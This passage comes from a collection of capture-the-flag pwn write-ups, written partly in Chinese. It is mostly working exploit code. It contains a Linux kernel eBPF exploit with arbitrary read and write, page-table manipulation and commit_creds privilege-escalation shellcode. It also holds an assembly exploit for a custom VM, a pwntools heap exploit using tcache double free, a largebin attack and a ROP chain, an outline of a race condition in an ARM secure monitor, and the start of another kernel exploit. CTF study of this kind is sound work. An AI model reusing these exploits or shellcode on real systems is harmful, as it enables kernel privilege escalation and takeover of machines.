BPF_ALU64_REG(BPF_MUL, BPF_REG_4, BPF_REG_7),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_4, 0x8),
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_10, -32),
BPF_ALU64_REG(BPF_ADD, BPF_REG_5, BPF_REG_4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_5, 0),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),
BPF_ALU64_REG(BPF_SUB, BPF_REG_0, BPF_REG_4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {};
prog_attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
prog_attr.insn_cnt = sizeof(prog) / sizeof(struct bpf_insn);
prog_attr.insns = (uintptr_t)prog;
prog_attr.license = (uintptr_t)"GPL";
prog_attr.log_level = 2;
prog_attr.log_buf = (uintptr_t)log_buf;
prog_attr.log_size = LOG_BUF_SZ;
int prog_fd = syscall(SYS_bpf, BPF_PROG_LOAD, &prog_attr, sizeof(prog_attr));
if (prog_fd < 0) {
puts(log_buf);
perror("syscall");
exit(0);
}
else {
puts(log_buf);
}
return prog_fd;
}
// Execute BPF program test
int run_bpf_test(int prog_fd, char* data_buf, size_t data_size) {
struct __sk_buff md = {};
union bpf_attr test_prog = {};
test_prog.test.data_in = (uint64_t)data_buf;
test_prog.test.data_size_in = data_size;
test_prog.test.ctx_in = (uint64_t)&md;
test_prog.test.ctx_size_in = sizeof(md);
test_prog.prog_type = BPF_PROG_TEST_RUN;
test_prog.test.prog_fd = prog_fd;
uint64_t ret = syscall(SYS_bpf, BPF_PROG_TEST_RUN, &test_prog, sizeof(test_prog));
if (ret < 0) {
perror("test run");
return -1;
}
return 0;
}
// Read value from BPF map
uint64_t* read_bpf_value = NULL;
uint64_t* read_from_map(int map_fd, int key) {
union bpf_attr attr = {};
attr.map_fd = map_fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)read_bpf_value;
// attr.value_size = 0x1000;
SYSCHK(syscall(SYS_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)));
// hexdump(read_bpf_value, 0x50);
return read_bpf_value;
}
// Create variant program for address leaking
int create_write_prog(int multiplier) {
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, random_offset),
BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 0x1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_4, multiplier),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0xCAFE),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 0xBACA),
BPF_LD_MAP_FD(BPF_REG_8, map_fd2),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -24),
BPF_MOV64_REG(BPF_REG_5, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, -8),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -32),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -40),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 8),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_10, -32),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_10, -40),
BPF_STX_MEM(BPF_DW, BPF_REG_5, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {};
prog_attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
prog_attr.insn_cnt = sizeof(prog) / sizeof(struct bpf_insn);
prog_attr.insns = (uintptr_t)prog;
prog_attr.license = (uintptr_t)"GPL";
prog_attr.log_level = 2;
prog_attr.log_buf = (uintptr_t)log_buf;
prog_attr.log_size = LOG_BUF_SZ;
int prog_fd = syscall(SYS_bpf, BPF_PROG_LOAD, &prog_attr, sizeof(prog_attr));
if (prog_fd < 0) {
puts(log_buf);
perror("syscall");
}
else {
puts(log_buf);
}
return prog_fd;
}
int prog_fd2 = -1;
int prog_fd3 = -1;
uint64_t* aar(uint64_t addr) {
char* data_buf2 = (char*)calloc(1, 0x1000);
uint64_t* payload2 = (uint64_t*)(data_buf2 + 0xe);
payload2[0] = 0x00000000001234;
payload2[1] = addr;
if (run_bpf_test(prog_fd2, data_buf2, 1024) < 0) {
free(data_buf2);
return -1;
}
return read_from_map(map_fd2, 0);
}
uint64_t aaw(uint64_t addr, uint64_t value) {
char* data_buf2 = (char*)calloc(1, 0x1000);
uint64_t* payload2 = (uint64_t*)(data_buf2 + 0xe);
payload2[0] = value;
payload2[1] = addr;
if (run_bpf_test(prog_fd3, data_buf2, 1024) < 0) {
free(data_buf2);
return -1;
}
}
static void win64() {
char buf[0x100];
int fd = open("/flag", O_RDONLY);
if (fd < 0) {
puts("[-] Lose...");
}
else {
puts("[+] Win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[+] Done");
}
exit(0);
}
int exp() {
save_state();
char* content = calloc(1, 0x10);
read_bpf_value = calloc(1, 0x10000);
memcpy(content, "backdoor", 0x8);
char* addr = calloc(1, 0x100);
// edit(0);
show(content, addr);
uint64_t* u64_addr = (uint64_t*)addr;
logi("size: 0x%llx\n", u64_addr[0]);
logi("value: 0x%llx\n", u64_addr[1]);
logi("offset: 0x%llx\n", u64_addr[2]);
alloc_size = u64_addr[0];
value = u64_addr[1];
random_offset = u64_addr[2] - 0x150; //减去bpf的头
if ((value & 0x1) != 1) {
loge("value is %llx, something is wrong\n", value & 0x1);
return -1;
}
// Create BPF maps
add(0);
del(0);
if (create_bpf_maps() < 0) {
return -1;
}
// Create BPF programs
int prog_fd = create_stack_overflow_prog();
prog_fd2 = create_leak_variant_prog(0x8, 0x100);
prog_fd3 = create_write_prog(0x8);
edit(0);
char data_buf[4096] = {};
memset(data_buf, '\xd0', sizeof(data_buf));
// Execute first program
if (run_bpf_test(prog_fd, data_buf, 1024) < 0) {
return -1;
}
// Read leaked address
uint64_t array_map_addr = *(uint64_t*)read_from_map(map_fd2, 0);
logi("array_map_addr: 0x%llx", array_map_addr);
if (array_map_addr == 0) {
loge("[-] Failed to leak array_map_addr");
return -1;
}
kernel_base = aar(array_map_addr)[0] - (0xffffffff8221e880 - 0xffffffff81000000);
logi("kernel_base: 0x%llx", kernel_base);
if (kernel_base & 0xfff) {
loge("[-] kernel_base is not page aligned: 0x%llx", kernel_base);
return -1;
}
uint64_t core_pattern = kernel_base + (0xffffffff82a512a0 - 0xffffffff81000000);
uint64_t kstrtab_init_pid_ns = kernel_base + (0xffffffff828653e1 - 0xffffffff81000000);
prctl(PR_SET_NAME, "bubblebu");
uint64_t current_task_struct = -1;
uint64_t temp_array_map_addr = array_map_addr - 0x800000;
logi("temp_array_map_addr: 0x%llx", temp_array_map_addr);
uint64_t init_pid_ns = kernel_base + (0xffffffff82a508e0 - 0xffffffff81000000);
logi("init_pid_ns: 0x%llx", init_pid_ns);
uint64_t xa_head = aar(init_pid_ns + 0x8)[0] & ~2;
logi("xa_head: 0x%llx", xa_head);
uint64_t xa_head_next = aar(xa_head + 0x30)[0] & ~2;
logi("xa_head_next: 0x%llx", xa_head_next);
uint64_t task_struct_addr = aar(xa_head_next + 0x8)[0];
task_struct_addr = aar(task_struct_addr + 0x38)[0] & ~2;
uint64_t task_struct_addr_temp = -1;
for (int i = 0;i < 0x10;i++) {
uint64_t temp_addr = aar(task_struct_addr + i * 0x8)[0];
if (temp_addr) {
task_struct_addr_temp = temp_addr;
}
}
task_struct_addr = task_struct_addr_temp;
logi("task_struct_addr: 0x%llx", task_struct_addr_temp);
uint64_t temp_addr = aar(task_struct_addr + 0x20)[0];
if (temp_addr != 0) {
task_struct_addr = temp_addr;
logi("task_struct_addr updated: 0x%llx", task_struct_addr);
current_task_struct = task_struct_addr - 0x600;
}
else {
task_struct_addr = aar(task_struct_addr + 0x10)[0];
logi("task_struct_addr updated: 0x%llx", task_struct_addr);
current_task_struct = task_struct_addr - 0x5e0;
}
logi("current_task_struct: 0x%llx", current_task_struct);
if (aar(current_task_struct + 1896)[0] != 0x7562656c62627562) {
loge("[-] current_task_struct.comm is not bubblebu");
return -1;
}
uint64_t current_mm_struct_addr = current_task_struct + 1272;
uint64_t current_mm_struct = aar(current_mm_struct_addr)[0];
if (!is_heap_pointer(current_mm_struct)) {
loge("[-] current_mm_struct is not a heap pointer");
return -1;
}
logi("current_mm_struct: 0x%llx", current_mm_struct);
uint64_t pgd_addr = current_mm_struct + 128;
uint64_t pgd = aar(pgd_addr)[0];
logi("pgd: 0x%llx", pgd);
page_offset_base = (xa_head_next & 0xfffffffff0000000);
logi("page_offset_base: 0x%llx", page_offset_base);
char* mmap_addr = mmap(0x114514000, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (!mmap_addr) {
perror("mmap");
return -1;
}
uint64_t do_getuid = kernel_base + (0xffffffff810ac010 - 0xffffffff81000000);
memset(mmap_addr, '\x41', 0x1000);
logi("mmap_addr: %p", mmap_addr);
uint64_t mmap_pud_addr = aar(pgd + PGD_ENTRY((uint64_t)mmap_addr) * 0x8)[0] & (~PAGE_ATTR_NX) & ~0xfff;
mmap_pud_addr += page_offset_base;
logi("mmap_pud_addr: 0x%llx", mmap_pud_addr);
logi("pgd_entry: 0x%llx,pud_entry: 0x%llx,pmd_entry: 0x%llx,pte_entry: 0x%llx",
PGD_ENTRY((uint64_t)mmap_addr), PUD_ENTRY((uint64_t)mmap_addr), PMD_ENTRY((uint64_t)mmap_addr), PTE_ENTRY((uint64_t)mmap_addr));
uint64_t mmap_pmd_addr = aar(mmap_pud_addr + PUD_ENTRY((uint64_t)mmap_addr) * 0x8)[0] & (~PAGE_ATTR_NX) & ~0xfff;
mmap_pmd_addr += page_offset_base;
logi("mmap_pmd_addr: 0x%llx", mmap_pmd_addr);
uint64_t mmap_pte_addr = aar(mmap_pmd_addr + PMD_ENTRY((uint64_t)mmap_addr) * 0x8)[0] & (~PAGE_ATTR_NX) & ~0xfff;
mmap_pte_addr += page_offset_base;
logi("mmap_pte_addr: 0x%llx", mmap_pte_addr);
uint64_t do_getuid_pud_addr = aar(pgd + 0x8 * PGD_ENTRY((uint64_t)do_getuid))[0] & (~PAGE_ATTR_NX) & ~0xfff;
do_getuid_pud_addr += page_offset_base;
logi("do_getuid_addr: 0x%llx", do_getuid);
logi("do_getuid_pud_addr: 0x%llx", do_getuid_pud_addr);
uint64_t do_getuid_pmd_addr = aar(do_getuid_pud_addr + PUD_ENTRY((uint64_t)do_getuid) * 0x8)[0] & (~PAGE_ATTR_NX) & ~0xfff;
do_getuid_pmd_addr += page_offset_base;
logi("do_getuid_pmd_addr: 0x%llx", do_getuid_pmd_addr);
uint64_t do_getuid_pte_addr = aar(do_getuid_pmd_addr + PMD_ENTRY((uint64_t)do_getuid) * 0x8)[0] & (~PAGE_ATTR_NX) & ~0xfff;
logi("do_getuid_pte_addr: 0x%llx", do_getuid_pte_addr);
uint64_t phy_addr = do_getuid_pte_addr + 0x1000 * PTE_ENTRY((uint64_t)do_getuid_pte_addr);
phy_addr += 0xac000;
logi("phy_addr: 0x%llx", phy_addr);
__pause("debug");
aaw(mmap_pte_addr + PTE_ENTRY((uint64_t)mmap_addr) * 0x8, phy_addr | 0x8000000000000867);
// SYSCHK(memset(mmap_addr + (do_getuid & 0xfff), '\x41', 0x40)); /* nop */
char shellcode[] = { 0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0x19, 0xc0, 0x0a, 0x00, 0x49, 0x8d, 0xbf, 0x60, 0x0f, 0xa5, 0x01, 0x49, 0x8d, 0x87, 0xb0, 0x38, 0x0c, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0xe0, 0x8c, 0x0b, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0x80, 0x0a, 0xa5, 0x01, 0x49, 0x8d, 0x87, 0x70, 0x16, 0x0c, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x20, 0xde, 0xb6, 0x01, 0x49, 0x8d, 0x87, 0x40, 0x7c, 0x35, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0xe0, 0x8c, 0x0b, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x98, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0xe1, 0x16, 0x00, 0x01, 0xff, 0xe0, 0xcc };
void* p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t*)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t*)p = (size_t)&win64;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t*)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t*)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t*)p = user_sp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t*)p = user_ss;
memcpy(mmap_addr + (do_getuid & 0xfff), shellcode, sizeof(shellcode));
getuid();
}
int main(int argc, char* argv[]) {
set_cpu_affinity(0, getpid());
// init_namespace();
int err;
char* buf = calloc(1, 0x4000);
memset(buf, '\x00', 0x4000);
nlsock = nl_socket_alloc();
if (NULL == nlsock) {
printf("socket error\n");
return -1;
}
err = genl_connect(nlsock);
if (err != 0) {
printf("netlink connect error\n");
nl_socket_free(nlsock);
return 0;
}
famid = genl_ctrl_resolve(nlsock, "easynetlink");
if (famid <= 0)
logw("not get family id: %d\n", famid);
else
logi("family id: %d\n", famid);
exp();
}
gen.py
from pwn import *
context.arch = "amd64"
shellcode = asm(open("shellcode.S").read())
s = ", ".join(map(lambda c: f"0x{c:02x}", shellcode))
print(s)
buf = open("exp.c").read().replace("####SHELLCODE####", s)
open("exploit.c", "w").write(buf)
shellcode.S
init_cred = 0x1a50f60
commit_creds = 0x0c38b0
find_task_by_vpid = 0x0b8ce0
init_nsproxy = 0x1a50a80
switch_task_namespaces = 0x0c1670
init_fs = 0x1b6de20
copy_fs_struct = 0x357c40
kpti_bypass = 0x10016e1
do_sys_vfork = 0x08e7a0
_start:
endbr64
call a
a:
pop r15
sub r15, 0xac019
lea rdi, [r15 + init_cred]
lea rax, [r15 + commit_creds]
call rax
mov edi, 1
lea rax, [r15 + find_task_by_vpid]
call rax
mov rdi, rax
lea rsi, [r15 + init_nsproxy]
lea rax, [r15 + switch_task_namespaces]
call rax
lea rdi, [r15 + init_fs]
lea rax, [r15 + copy_fs_struct]
call rax
mov rbx, rax
mov rdi, 0x1111111111111111
lea rax, [r15 + find_task_by_vpid]
call rax
mov [rax + 1944], rbx
xor eax, eax
mov [rsp+0x00], rax
mov [rsp+0x08], rax
mov rax, 0x2222222222222222
mov [rsp+0x10], rax
mov rax, 0x3333333333333333
mov [rsp+0x18], rax
mov rax, 0x4444444444444444
mov [rsp+0x20], rax
mov rax, 0x5555555555555555
mov [rsp+0x28], rax
mov rax, 0x6666666666666666
mov [rsp+0x30], rax
lea rax, [r15 + kpti_bypass]
jmp rax
int3
wm_eat_some_qanux
程序实现了一个vm,使用的是类arm64的输入,如add x1, x1, #0
漏洞出现在bl``beq
等存储返回地址的跳转中,没有对栈指针做越界检查,造成栈指针越界
这样就可以调用svc
指令
exp
add x1, x1, #0
cmp x30, x31
beq 1
push x1
push x1
push x1
push x1
push x1
push x1
push x1
add x2, x2, #0xfd
lsl x2, #12
add x2, x2, #0x8d0
push x2
add x3, x3, #0x9
lsl x3, #12
add x3, x3, #0x821
lsl x3, #12
add x3, x3, #0x70
push x3
push x4
sub x10, x10, x10
sub x11, x11, x11
sub x12, x12, x12
sub x13, x13, x13
add x10, x10, #0x3b
add x11, x11, #0x687
lsl x11, #12
add x11, x11, #0x32f
lsl x11, #12
add x11, x11, #0x6e6
lsl x11, #12
add x11, x11, #0x962
lsl x11, #8
add x11, x11, #0x2f
b 36
svc
EOF
PaluSimulator
Compile
On Ubuntu25.04
gcc version 14.2.0 (Ubuntu 14.2.0-19ubuntu2)
g++ -O3 -static-libstdc++ -static-libgcc -s pwn.cpp -o pwn
分析
其实输入一个负数就能看到输出了std::bad_alloc,调试一下可以知道是存在异常处理了。
而且后面还会输出chunk的内容,原因就是异常处理没有return而是可以继续执行。
循环的函数的流程就是:
输入size->申请空间->写入内容->输出内容->释放空间。
申请chunk的时候检测如果申请的大小是8就会直接使用那个栈上指针进行存储,而不是通过new申请堆块了。
解题
程序循环的函数中,很多变量都没有初始化,导致栈上残留的都是上一轮循环的变量。
程序触发异常的时候try catch处理异常没有直接return,而是允许继续执行,加上析构前free前使用std::fill用00清空chunk的数据,在栈上如果有残留被free的chunk的指针会构成tcache上的double free(总的流程就是free-fill00-free)。可以利用这个漏洞将tcache填满,溢出到其他bin里面。
有意思的是,在O3或者O2优化下,析构函数中flags|=FREEDBUF;
操作会被优化掉,但是O1就不会,所以O2或者O3下FREEDBUF标志不会被设置,这也就是导致FREEDBUF这个用于防止double free检测无效的原因。所以程序源码在这里就有一些误导性。
这一点可以看下面这两张图,第一张是O1编译下demo的析构函数,第二张是O3编译下demo的析构函数:
触发异常只需要size为负数即可。(这个异常处理的逻辑是在0x18EB6)
执行完对异常处理的chunk进行free操作后就跑到循环的函数里面继续执行下面的输出内容的操作了。
触发异常会申请一个0x90的chunk,里面有elf地址、heap地址、栈地址(正好是栈顶),这个chunk在异常处理结束后会被free,利用上面异常处理没有直接return的漏洞可以泄漏这个chunk的内容,拿到elf地址、栈地址等。
程序看似限制申请chunk的大小,实际上因为有负数的漏洞的存在,某些负数乘8之后进行整数溢出可以得到一个较大的正数,比如size_t((0x8000000000000000+0x400/8)*8)=0x400,可以实现任意size的chunk的申请。
如果read函数第三个参数初始化是一个很小的数值,而且后续还会和size去min,不足以溢出,没有办法在tcache原本存在chunk的情况下获得任意地址申请,因此要想办法构造堆溢出。
现在已有的堆溢出就是:如果0x90的tcache存储的是一个小chunk,比如0x30,在异常处理的时候就会写入多余0x30的东西,导致堆溢出。
选择largebin attack劫持“Hack”选项调用的read函数的第三个参数,进行堆溢出写:
先用0x90的堆块填满其tcache溢出到unsortedbin,对这个0x90的chunk进行切割,导致实际0x90的tcache的堆块缩小,正好可以控制异常处理堆块里面的栈地址(恰好是栈顶)落在剩下chunk的bk_nextsize的地方,而且栈顶+0x20正好就是后面read函数第三个参数,可以劫持它实现堆溢出写。
largebin attack写入用于read的栈上变量后,每次申请chunk都会对read的这个参数取min导致我们还需要一次负数的漏洞让这个变量大小仍然可以满足越界写。
之后劫持tcache fd即可写栈劫持没有canary的函数的返回地址(比如fread函数)进行ROP打ORW拿flag。
程序编译的时候把libstdc++和libgcc编译进来了,就有了很多好用的gadget,ORW的函数也不需要到libc找了,ELF中就有,方便写ROP。
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './pwn'
p=process(ELFpath)
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
sla=lambda con,s :p.sendlineafter(con,s)
sa=lambda con,s :p.sendafter(con,s)
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
scr='''
b *(&fread+238)
'''
def add(size,con=b'a'):
if size==-1:
p.sendlineafter("How many affairs :","-1")
return
con=b'\xde'*((size*8)&0xffffffffffffffff-1)
print(hex((size*8)&0xffffffffffffffff))
print(hex((size*8)))
p.sendlineafter("How many affairs :",str(size))
p.sendlineafter("TodoList :",con)
def addvul(size,con):
if size==-1:
p.sendlineafter("How many affairs :","-1")
return
print(hex((size*8)&0xffffffffffffffff))
print(hex((size*8)))
p.sendlineafter("How many affairs :",str(size))
p.sendafter("TodoList :",con)
add(0x80//8)
add(-1)
p.recvuntil("Your TodoList: ")
p.recv(8)
p.recv(8)
p.recv(0x40)
elf_base=u64(p.recv(8))-0x5edae738feb6+0x5edae7377000
heap_base=u64(p.recv(8))-0x5e94c722b330+0x5e94c7219000
p.recv(0x8)
p.recv(0x10)
stk_addr=u64(p.recv(8))
import ctypes
def to_int64(x):
return ctypes.c_longlong(x & 0xFFFFFFFFFFFFFFFF).value
for i in range(5):
add(-1)
add(0x210//8)
add(0x1f0//8)
add(0xf0//8)
add(0x1e0//8)
add(0x250//8)
add(0xe0//8)
add(0xd0//8)
add(0xc0//8)
add(-1)
add(0x1e0//8)
for i in range(7):
add(-1)
add(0x250//8)
for i in range(7):
add(-1)
add(to_int64(0x8000000000000000+0x3f0//8))
for i in range(6):
add(-1)
add(0x1f0//8)
for i in range(7):
add(-1)
add(0x210//8)
for i in range(7):
add(-1)
add(0x80//8)
add(-1)
add(0x58//8)
add(to_int64(0x8000000000000000+0x500//8))
add(to_int64(0x8000000000000000+0x3f0//8))
add(-1)
add(to_int64(0x8000000000000000+0x500//8))
payload=b'\x08'
addvul(to_int64(0x8000000000000000+0xd0//8),payload.ljust(0xd0-1))
hppld=b'a'*0xd8+p64(0x31)+ptrxor(heap_base-0x5be4dbfb3000+0x5be4dbfc5e78,stk_addr-0x70 )
p.sendlineafter("You realized that you must do something...",hppld)
add(0xc0//8)
rop=ROP(ELFpath)
pop_rdi=elf_base+rop.rdi.address
pop_rsi=elf_base+rop.rsi.address
mov_rdx_rdi=elf_base+0x07f096
elf=ELF(ELFpath)
elf.address=elf_base
open_addr=elf.sym["open"]
read_addr=elf.sym["read"]
write_addr=elf.sym["write"]
for x in elf.search("flag"):
flag_str=x
break
buf=heap_base+0x1000
payload=p64(pop_rdi)+p64(flag_str)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(0x100)+p64(mov_rdx_rdi)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(write_addr)
addvul(0xc0//8,(b'a'*7+payload).ljust(0xc0-1))
print(hex(elf_base))
print(hex(stk_addr))
p.interactive()
但是这题也有非预期,比如read函数忘记检查buf是位于栈还是位于堆。这可以参考0xFFF的wp。
还有更简单的就是因为read的nbytes初始其实是很大的数值,题目中也没有初始化,导致可以一直使用负数维持住这个溢出的条件,直接拿地址后直接溢出劫持size和fd,再申请一下就可以ROP了,可以参考这个:exp1
Aberration
Solution Outline
- Unpack the provided
qemu_fw.bios
Extract the binary corresponding to BL31 from the firmware image. - Identify the vulnerability in
aberration_smc_handler
Inside the handler, theark_store
function contains a race condition before thememcpy
operation. - Trigger the race condition across CPUs
- Bind execution to different CPUs.
- On CPU 1, continuously set the incoming
key_len_ptr
to an invalid value. - On CPU 2, continuously invoke
ark_store
. - If timed correctly, the invalid length is written into
g_aberration_area.buffer
between the length check and thememcpy
, corruptingmax_slots
.
- Achieve arbitrary write via
ark_add
Oncemax_slots
is corrupted, the attacker can leverageark_add
to perform arbitrary memory writes. - Exploit with page table forgery
- Forge page table entries to remap an executable code segment with
RWN
permissions. - Inject shellcode that retrieves the flag.
- The shellcode should read the system register
S3_3_C15_C12_X
to obtain the flag value.
- Forge page table entries to remap an executable code segment with
📌 A detailed exploitation walkthrough will be published later on my personal blog.
Feel free to follow: sekiro.love
wmkpf
https://9anux.org/2025/09/22/wmkpf/
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include <bpf/libbpf.h>
#include <linux/bpf_common.h>
#include <linux/if_alg.h>
size_t buf[0x4000 / 8];
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));
#define IOCTL_WRITE_CMD 0xdeadbeef
#define IOCTL_READ_CMD 0xbeabdeef
#define IOCTL_MAP_INIT 0xdeefbead
#define IOCTL_MAP_DEL 0xbeefdffa
/*
root@wmbpf:~# cat /proc/cpuinfo
processor : 0
vendor_id : AuthenticAMD
cpu family : 15
model : 107
model name : QEMU Virtual CPU version 2.5+
stepping : 1
microcode : 0x1000065
cpu MHz : 2687.980
cache size : 512 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscallp
bugs : fxsave_leak sysret_ss_attrs null_seg swapgs_fence amd_e400 spectre_v1 spectre_v2
bogomips : 5375.96
TLB size : 1024 4K pages
clflush size : 64
cache_alignment : 64
address sizes
*/
#define TLB_PAGESPRAY 1024 / 8
#define N_PAGESPRAY 0x200
#define VICTIM_MAP 0x10
void *page_spray[N_PAGESPRAY];
void *tlb_spray[TLB_PAGESPRAY];
int map_fd[VICTIM_MAP];
void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
